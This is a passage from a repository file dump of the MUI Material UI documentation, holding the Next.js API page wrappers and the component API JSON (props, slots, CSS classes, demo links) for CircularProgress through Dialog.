path.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"circleDisableShrink\",\n      \"className\": \"MuiCircularProgress-circleDisableShrink\",\n      \"description\": \"Styles applied to the `circle` svg path if `disableShrink={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiCircularProgress-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiCircularProgress-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"determinate\",\n      \"className\": \"MuiCircularProgress-determinate\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"determinate\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"indeterminate\",\n      \"className\": \"MuiCircularProgress-indeterminate\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"indeterminate\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiCircularProgress-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"svg\",\n      \"className\": \"MuiCircularProgress-svg\",\n      \"description\": \"Styles applied to the svg element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"track\",\n      \"className\": \"MuiCircularProgress-track\",\n      \"description\": \"Styles applied to the track slot if `enableTrackSlot={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiCircularProgress\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/CircularProgress/CircularProgress.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-progress/\\\">Progress</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/click-away-listener.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './click-away-listener.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/click-away-listener',\n    false,\n    /\\.\\/click-away-listener.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/click-away-listener.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"element\" }, \"required\": true },\n    \"onClickAway\": { \"type\": { \"name\": \"func\" }, \"required\": true },\n    \"disableReactTree\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"mouseEvent\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'onClick'<br>&#124;&nbsp;'onMouseDown'<br>&#124;&nbsp;'onMouseUp'<br>&#124;&nbsp;'onPointerDown'<br>&#124;&nbsp;'onPointerUp'<br>&#124;&nbsp;false\"\n      },\n      \"default\": \"'onClick'\"\n    },\n    \"touchEvent\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'onTouchEnd'<br>&#124;&nbsp;'onTouchStart'<br>&#124;&nbsp;false\"\n      },\n      \"default\": \"'onTouchEnd'\"\n    }\n  },\n  \"name\": \"ClickAwayListener\",\n  \"imports\": [\n    \"import ClickAwayListener from '@mui/material/ClickAwayListener';\",\n    \"import { ClickAwayListener } from '@mui/material';\"\n  ],\n  \"classes\": [],\n  \"spread\": false,\n  \"themeDefaultProps\": null,\n  \"muiName\": \"MuiClickAwayListener\",\n  \"filename\": \"/packages/mui-material/src/ClickAwayListener/ClickAwayListener.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-click-away-listener/\\\">Click-Away Listener</a></li>\\n<li><a href=\\\"/material-ui/react-menu/\\\">Menu</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/collapse.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './collapse.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/collapse',\n    false,\n    /\\.\\/collapse.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/collapse.json",
    "content": "{\n  \"props\": {\n    \"addEndListener\": { \"type\": { \"name\": \"func\" } },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"collapsedSize\": {\n      \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" },\n      \"default\": \"'0px'\"\n    },\n    \"component\": { \"type\": { \"name\": \"custom\", \"description\": \"element type\" } },\n    \"easing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"{ enter?: string, exit?: string }<br>&#124;&nbsp;string\"\n      }\n    },\n    \"in\": { \"type\": { \"name\": \"bool\" } },\n    \"orientation\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'horizontal'<br>&#124;&nbsp;'vertical'\" },\n      \"default\": \"'vertical'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ root?: func<br>&#124;&nbsp;object, wrapper?: func<br>&#124;&nbsp;object, wrapperInner?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ root?: elementType, wrapper?: elementType, wrapperInner?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"timeout\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'auto'<br>&#124;&nbsp;number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"duration.standard\"\n    }\n  },\n  \"name\": \"Collapse\",\n  \"imports\": [\n    \"import Collapse from '@mui/material/Collapse';\",\n    \"import { Collapse } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiCollapse-root\"\n    },\n    {\n      \"name\": \"wrapper\",\n      \"description\": \"The component that renders the wrapper.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiCollapse-wrapper\"\n    },\n    {\n      \"name\": \"wrapperInner\",\n      \"description\": \"The component that renders the inner wrapper.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiCollapse-wrapperInner\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"entered\",\n      \"className\": \"MuiCollapse-entered\",\n      \"description\": \"Styles applied to the root element when the transition has entered.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"hidden\",\n      \"className\": \"MuiCollapse-hidden\",\n      \"description\": \"Styles applied to the root element when the transition has exited and `collapsedSize` = 0px.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"horizontal\",\n      \"className\": \"MuiCollapse-horizontal\",\n      \"description\": \"State class applied to the root element if `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiCollapse\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Collapse/Collapse.js\",\n  \"inheritance\": {\n    \"component\": \"Transition\",\n    \"pathname\": \"https://reactcommunity.org/react-transition-group/transition/#Transition-props\"\n  },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-card/\\\">Card</a></li>\\n<li><a href=\\\"/material-ui/react-list/\\\">Lists</a></li>\\n<li><a href=\\\"/material-ui/transitions/\\\">Transitions</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/container.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './container.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/container',\n    false,\n    /\\.\\/container.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/container.json",
    "content": "{\n  \"props\": {\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disableGutters\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"fixed\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"maxWidth\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'xs'<br>&#124;&nbsp;'sm'<br>&#124;&nbsp;'md'<br>&#124;&nbsp;'lg'<br>&#124;&nbsp;'xl'<br>&#124;&nbsp;false<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'lg'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Container\",\n  \"imports\": [\n    \"import Container from '@mui/material/Container';\",\n    \"import { Container } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disableGutters\",\n      \"className\": \"MuiContainer-disableGutters\",\n      \"description\": \"Styles applied to the root element if `disableGutters={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fixed\",\n      \"className\": \"MuiContainer-fixed\",\n      \"description\": \"Styles applied to the root element if `fixed={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"maxWidthLg\",\n      \"className\": \"MuiContainer-maxWidthLg\",\n      \"description\": \"Styles applied to the root element if `maxWidth=\\\"lg\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"maxWidthMd\",\n      \"className\": \"MuiContainer-maxWidthMd\",\n      \"description\": \"Styles applied to the root element if `maxWidth=\\\"md\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"maxWidthSm\",\n      \"className\": \"MuiContainer-maxWidthSm\",\n      \"description\": \"Styles applied to the root element if `maxWidth=\\\"sm\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"maxWidthXl\",\n      \"className\": \"MuiContainer-maxWidthXl\",\n      \"description\": \"Styles applied to the root element if `maxWidth=\\\"xl\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"maxWidthXs\",\n      \"className\": \"MuiContainer-maxWidthXs\",\n      \"description\": \"Styles applied to the root element if `maxWidth=\\\"xs\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiContainer-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiContainer\",\n  \"forwardsRefTo\": \"HTMLElement\",\n  \"filename\": \"/packages/mui-material/src/Container/Container.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-container/\\\">Container</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/css-baseline.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './css-baseline.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/css-baseline',\n    false,\n    /\\.\\/css-baseline.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/css-baseline.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"enableColorScheme\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" }\n  },\n  \"name\": \"CssBaseline\",\n  \"imports\": [\n    \"import CssBaseline from '@mui/material/CssBaseline';\",\n    \"import { CssBaseline } from '@mui/material';\"\n  ],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": null,\n  \"muiName\": \"MuiCssBaseline\",\n  \"filename\": \"/packages/mui-material/src/CssBaseline/CssBaseline.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-css-baseline/\\\">CSS Baseline</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/dialog-actions.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './dialog-actions.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/dialog-actions',\n    false,\n    /\\.\\/dialog-actions.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/dialog-actions.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disableSpacing\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"DialogActions\",\n  \"imports\": [\n    \"import DialogActions from '@mui/material/DialogActions';\",\n    \"import { DialogActions } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiDialogActions-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"spacing\",\n      \"className\": \"MuiDialogActions-spacing\",\n      \"description\": \"Styles applied to the root element unless `disableSpacing={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiDialogActions\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/DialogActions/DialogActions.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-dialog/\\\">Dialog</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/dialog-content-text.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './dialog-content-text.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/dialog-content-text',\n    false,\n    /\\.\\/dialog-content-text.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/dialog-content-text.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"DialogContentText\",\n  \"imports\": [\n    \"import DialogContentText from '@mui/material/DialogContentText';\",\n    \"import { DialogContentText } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiDialogContentText-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiDialogContentText\",\n  \"forwardsRefTo\": \"HTMLParagraphElement\",\n  \"filename\": \"/packages/mui-material/src/DialogContentText/DialogContentText.js\",\n  \"inheritance\": { \"component\": \"Typography\", \"pathname\": \"/material-ui/api/typography/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-dialog/\\\">Dialog</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/dialog-content.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './dialog-content.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/dialog-content',\n    false,\n    /\\.\\/dialog-content.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/dialog-content.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"dividers\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"DialogContent\",\n  \"imports\": [\n    \"import DialogContent from '@mui/material/DialogContent';\",\n    \"import { DialogContent } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"dividers\",\n      \"className\": \"MuiDialogContent-dividers\",\n      \"description\": \"Styles applied to the root element if `dividers={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiDialogContent-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiDialogContent\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/DialogContent/DialogContent.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-dialog/\\\">Dialog</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/dialog-title.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './dialog-title.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/dialog-title',\n    false,\n    /\\.\\/dialog-title.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/dialog-title.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"DialogTitle\",\n  \"imports\": [\n    \"import DialogTitle from '@mui/material/DialogTitle';\",\n    \"import { DialogTitle } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiDialogTitle-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiDialogTitle\",\n  \"forwardsRefTo\": \"HTMLHeadingElement\",\n  \"filename\": \"/packages/mui-material/src/DialogTitle/DialogTitle.js\",\n  \"inheritance\": { \"component\": \"Typography\", \"pathname\": \"/material-ui/api/typography/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-dialog/\\\">Dialog</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/dialog.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './dialog.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/dialog', false, /\\.\\/dialog.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/dialog.json",
    "content": "{\n  \"props\": {\n    \"open\": { \"type\": { \"name\": \"bool\" }, \"required\": true },\n    \"aria-describedby\": { \"type\": { \"name\": \"string\" } },\n    \"aria-labelledby\": { \"type\": { \"name\": \"string\" } },\n    \"aria-modal\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'false'<br>&#124;&nbsp;'true'<br>&#124;&nbsp;bool\"\n      },\n      \"default\": \"true\"\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"fullScreen\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"maxWidth\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'xs'<br>&#124;&nbsp;'sm'<br>&#124;&nbsp;'md'<br>&#124;&nbsp;'lg'<br>&#124;&nbsp;'xl'<br>&#124;&nbsp;false<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'sm'\"\n    },\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: object, reason: string) => void\",\n        \"describedArgs\": [\"event\", \"reason\"]\n      }\n    },\n    \"PaperComponent\": { \"type\": { \"name\": \"elementType\" }, \"default\": \"Paper\" },\n    \"role\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'alertdialog'<br>&#124;&nbsp;'dialog'\" },\n      \"default\": \"'dialog'\"\n    },\n    \"scroll\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'body'<br>&#124;&nbsp;'paper'\" },\n      \"default\": \"'paper'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: func<br>&#124;&nbsp;object, container?: func<br>&#124;&nbsp;object, paper?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, transition?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: elementType, container?: elementType, paper?: elementType, root?: elementType, transition?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"transitionDuration\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"{\\n  enter: theme.transitions.duration.enteringScreen,\\n  exit: theme.transitions.duration.leavingScreen,\\n}\"\n    }\n  },\n  \"name\": \"Dialog\",\n  \"imports\": [\n    \"import Dialog from '@mui/material/Dialog';\",\n    \"import { Dialog } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"transition\",\n      \"description\": \"The component that renders the transition.\\n[Follow this guide](/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\",\n      \"default\": \"Collapse\",\n      \"class\": null\n    },\n    {\n      \"name\": \"paper\",\n      \"description\": \"The component that renders the paper.\",\n      \"default\": \"Paper\",\n      \"class\": \"MuiDialog-paper\"\n    },\n    {\n      \"name\": \"container\",\n      \"description\": \"The component that renders the container.\",\n      \"class\": \"MuiDialog-container\"\n    },\n    {\n      \"name\": \"backdrop\",\n      \"description\": \"The component that renders the backdrop.\",\n      \"class\": \"MuiDialog-backdrop\"\n    },\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"class\": \"MuiDialog-root\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"paperFullScreen\",\n      \"className\": \"MuiDialog-paperFullScreen\",\n      \"description\": \"Styles applied to the Paper component if `fullScreen={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"paperFullWidth\",\n      \"className\": \"MuiDialog-paperFullWidth\",\n      \"description\": \"Styles applied to the Paper component if `fullWidth={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"paperWidthFalse\",\n      \"className\": \"MuiDialog-paperWidthFalse\",\n      \"description\": \"Styles applied to the Paper component if `maxWidth=false`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"paperWidthLg\",\n      \"className\": \"MuiDialog-paperWidthLg\",\n      \"description\": \"Styles applied to the Paper component if `maxWidth=\\\"lg\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"paperWidthMd\",\n      \"className\": \"MuiDialog-paperWidthMd\",\n      \"description\": \"Styles applied to the Paper component if `maxWidth=\\\"md\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"paperWidthSm\",\n      \"className\": \"MuiDialog-paperWidthSm\",\n      \"description\": \"Styles applied to the Paper component if `maxWidth=\\\"sm\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"paperWidthXl\",\n      \"className\": \"MuiDialog-paperWidthXl\",\n      \"description\": \"Styles applied to the Paper component if `maxWidth=\\\"xl\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"paperWidthXs\",\n      \"className\": \"MuiDialog-paperWidthXs\",\n      \"description\": \"Styles applied to the Paper component if `maxWidth=\\\"xs\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"scrollBody\",\n      \"className\": \"MuiDialog-scrollBody\",\n      \"description\": \"Styles applied to the container element if `scroll=\\\"body\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"scrollPaper\",\n      \"className\": \"MuiDialog-scrollPaper\",\n      \"description\": \"Styles applied to the container element if `scroll=\\\"paper\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiDialog\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Dialog/Dialog.js\",\n  \"inheritance\": { \"component\": \"Modal\", \"pathname\": \"/material-ui/api/modal/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-dialog/\\\">Dialog</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/divider.js",
